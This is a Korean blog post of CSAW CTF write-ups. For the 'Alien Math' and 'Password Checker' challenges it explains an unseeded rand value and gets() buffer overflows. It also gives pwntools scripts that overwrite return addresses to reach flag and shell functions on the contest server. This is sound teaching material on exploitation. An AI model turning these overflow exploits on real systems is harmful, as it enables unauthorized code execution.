Misc - Welcome
misc의 1pt 문제 Welcome이다. 단순히 디스코드에 접속하기만 해도 flag를 준다.
flag{W3Lcom3_7o_CS4w_D1ScoRD}
Pwn - Alien Math
리버싱이 조금 필요한 간단한 시스템 해킹 문제다.
실행해보면 퀴즈 같은걸 내고 사용자의 입력을 받은 후 점수를 출력해주는 것 같다.
main 함수를 확인해보면 rand 함수를 통해 값을 생성하고, 그 값이 사용자가 입력한 값과 같으면, 그 다음 단계로 넘어가는 것 같다. 하지만 srand 함수로 시드를 설정해주지 않았기 때문에 rand 함수는 항상 같은 값을 생성하게 된다.
gdb로 확인해보면 생성되는 값은 0x6b8b4567인 것을 알 수 있다.
구한 값을 입력해보면 다음 단계로 넘어가는 것을 볼 수 있는데, 여기서도 역시 퀴즈를 내고 사용자의 입력을 받은 뒤, 점수를 출력해주는 것을 알 수 있다.
해당 로직을 ida에서 확인해보면 입력 값을 한 문자씩 특정한 로직을 걸친 후 '7759406485255323229225' 문자열과 비교하는 것을 알 수 있다.(ida 해석이 좀 잘못됐다.)
로직을 분석해보면 입력 값으로 줘야할 값이 '7856445899213065428791'임을 알 수 있다.
맞는 값을 주면 그 다음 단계로 넘어가게 된다.
해당 로직을 확인해보면 gets 함수를 통해 사용자의 입력을 받는 것을 알 수 있다. bof가 발생한다.
또한 flag를 출력해주는 함수가 존재하기 때문에 ret까지 더미로 채운 후 해당 함수의 주소를 넣어준다면 flag를 얻을 수 있을 것이다.
gdb로 확인해보면 ret까지의 거리가 0x18인 것을 알 수 있다.
from pwn import *
context.log_level = "debug"
r = remote('pwn.chal.csaw.io', 5004)
r.sendlineafter('What is the square root of zopnol?', '1804289383')
r.sendlineafter('How many tewgrunbs are in a qorbnorbf?', '7856445899213065428791')
payload = b'A'*0x18+ p64(0x00000000004014fb)
r.sendlineafter('How long does it take for a toblob of energy to be transferred between two quantum entangled salwzoblrs?', payload)
r.interactive()
각 문제에 맞는 답을 입력해주고 마지막 단계에서 ret를 print_flag 함수의 주소로 변조해줬다.
대회 종료 후 서버가 닫혀서 exploit 장면은 로컬로 대체했다.
warm-up - Password Checker
warm-up이라는 카테고리에 있지만 사실상 포너블 문제와 다름없는 문제다.
문제 파일을 실행하면 password를 입력받고 password가 올바른지 여부를 판단해주는 것 같다.
main 함수에서는 password_checker 함수를 호출해주는 역할만 하기 때문에 password_checker 함수를 ida로 확인해보면 사용자 입력을 gets 함수를 통해 받는 것을 볼 수 있다. bof 취약점이다.
바이너리 내에 쉘을 얻게 해주는 backdoor 함수가 있기 때문에, ret를 해당 함수의 주소로 변조한다면 쉘을 얻을 수 있을 것이다. ret까지의 거리는 gdb를 통해 본다면 72byte인 것을 알 수 있다.
from pwn import *
r = remote('pwn.chal.csaw.io', 5000)
payload = b'A' * 72 + p64(0x401172)
r.sendlineafter('>', payload)
r.interactive()
ret까지 더미 값으로 채워주고 ret를 backdoor 함수의 주소로 변조했다.
해당 문제 역시 서버가 닫혀서 익스 장면을 찍지 못했고, 로컬에서는 이상한 오류가 나면서 익스가 안되기 때문에 익스플로잇 이미지는 생략했다.
'CTF' 카테고리의 다른 글
[YISF 2021] YISF 2021 후기 및 write up (0) | 2021.09.21 |
---|---|
RTLxHA CTF 21 write up (0) | 2021.08.02 |
[redpwnCTF 2021] rev - wstrings (0) | 2021.07.13 |
[redpwnCTF 2021] pwn - ret2generic-flag-reader (0) | 2021.07.13 |
[redpwnCTF 2021] pwn - beginner-generic-pwn-number-0 (0) | 2021.07.13 |